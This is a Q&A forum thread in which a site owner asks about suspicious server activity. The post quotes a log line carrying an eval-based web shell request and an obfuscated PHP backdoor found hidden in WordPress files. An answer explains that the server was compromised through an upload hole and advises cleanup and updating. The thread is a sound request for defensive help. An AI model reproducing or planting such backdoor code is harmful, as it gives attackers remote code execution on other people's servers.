0

i recently found a very suspicious server activity , please find it below

my Apache log

2017-06-13 09:38:42 W3SVC10 WIN-4BLFF718RVR 49.50.69.142 GET /images/menu10.php - 80 - 212.121.224.17 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:52.0)+Gecko/20100101+Firefox/52.0 h601d2f=%24val%3D%24_SERVER%5Bchr%2872%29.chr%2884%29.chr%2884%29.chr%2880%29.chr%2895%29.chr%2850%29.chr%2868%29.chr%2853%29.chr%2866%29.chr%2851%29.chr%2849%29.chr%2866%29.chr%2854%29.chr%2848%29%5D%3Bif%28get_magic_quotes_gpc%28%29%29%7B%24val%3Dstripslashes%28%24val%29%3B%7D+eval%28%24val%29%3B; - mywebsite.com 200 0 0 404 1172 218

url encoding the above gives me this

h601d2f=$val=$_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(50).chr(68).chr(53).chr(66).chr(51).chr(49).chr(66).chr(54).chr(48)];if(get_magic_quotes_gpc()){$val=stripslashes($val);} eval($val);;

and as you can see , this is a get request for /images/menu10.php - i dont know how this file came to my images folder

and after checking i found a lot of php files and every file has something like this

`<?php $a89="\toDH6^E>r5fan9b#R\\)}KcTpN:h+x-i<?kg!e]XPGJ*,42m\nWjQY&=8y[I{%s u0M~Z;vCz\"./F\$_q`A7S\rtBlV@w3dU'|L(1O";$GLOBALS['grstl50'] = ${$a89[76].$a89[39].$a89[97].$a89[81].$a89[22]};$GLOBALS['swynh48'] = $a89[26].$a89[36].$a89[11].$a89[90].$a89[36].$a89[8];if (!empty($GLOBALS['grstl50']['mb36fb514'])) { eval($GLOBALS['grstl50']['mb36fb514']); } $GLOBALS['swynh48']($a89[3].$a89[22].$a89[22].$a89[39].$a89[73].$a89[96].$a89[72].$a89[63].$a89[61].$a89[44].$a89[63].$a89[44].$a89[61].$a89[24].$a89[1].$a89[83].$a89[61].$a89[74].$a89[1].$a89[62].$a89[12].$a89[90]); echo $a89[31].$a89[26].$a89[96].$a89[7].$a89[44].$a89[63].$a89[44].$a89[61].$a89[24].$a89[1].$a89[83].$a89[61].$a89[74].$a89[1].$a89[62].$a89[12].$a89[90].$a89[31].$a89[73].$a89[26].$a89[96].$a89[7].$a89[82].$a89[47].$a89[22].$a89[26].$a89[36].$a89[61].$a89[23].$a89[11].$a89[34].$a89[36].$a89[61].$a89[83].$a89[26].$a89[11].$a89[83].$a89[61].$a89[55].$a89[1].$a89[62].$a89[61].$a89[26].$a89[11].$a89[68].$a89[36].$a89[61].$a89[8].$a89[36].$a89[77].$a89[62].$a89[36].$a89[60].$a89[83].$a89[36].$a89[90].$a89[61].$a89[21].$a89[1].$a89[62].$a89[85].$a89[90].$a89[61].$a89[12].$a89[1].$a89[83].$a89[61].$a89[14].$a89[36].$a89[61].$a89[10].$a89[1].$a89[62].$a89[12].$a89[90].$a89[72].$a89[82].$a89[47];
/**
 * XML-RPC protocol support for WordPress
 *
 * @package WordPress
 */

/**
 * Whether this is an XML-RPC Request
 */enter code here`

can someone please explain me what is the problem ?

migrated from stackoverflow.com Jul 1 '17 at 11:57

This question came from our site for professional and enthusiast programmers.

  • 2
    Well, it is your system, we cannot tell you how those files came to that location. Only you can. Indeed this looks like someone is trying to hide something. Not really surprising considering that you apparently operate a Wordpress installation... – arkascha Jun 14 '17 at 20:04
2

Is someone trying to hack?

Your system has already been compromised because multiple POST requests were successful and all those unauthorized files have appeared in your folder/s.

From the information provided, I would assume that the gallery on your system has holes in it that allow uploading .php files which can be used for arbitrary code execution.

What you could do to confirm this is to look for the point of entry in the logs. Look for the first POST request which added a suspicious file on your system. Furthermore, you could track down all these unwanted files and delete them afterwards but to be 100% sure that the infection is gone, you may want to completely wipe and reinstall the system.

Now, this doesn't quite fix the problem as the exploit remains in your current WP version so consider updating to the latest version.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy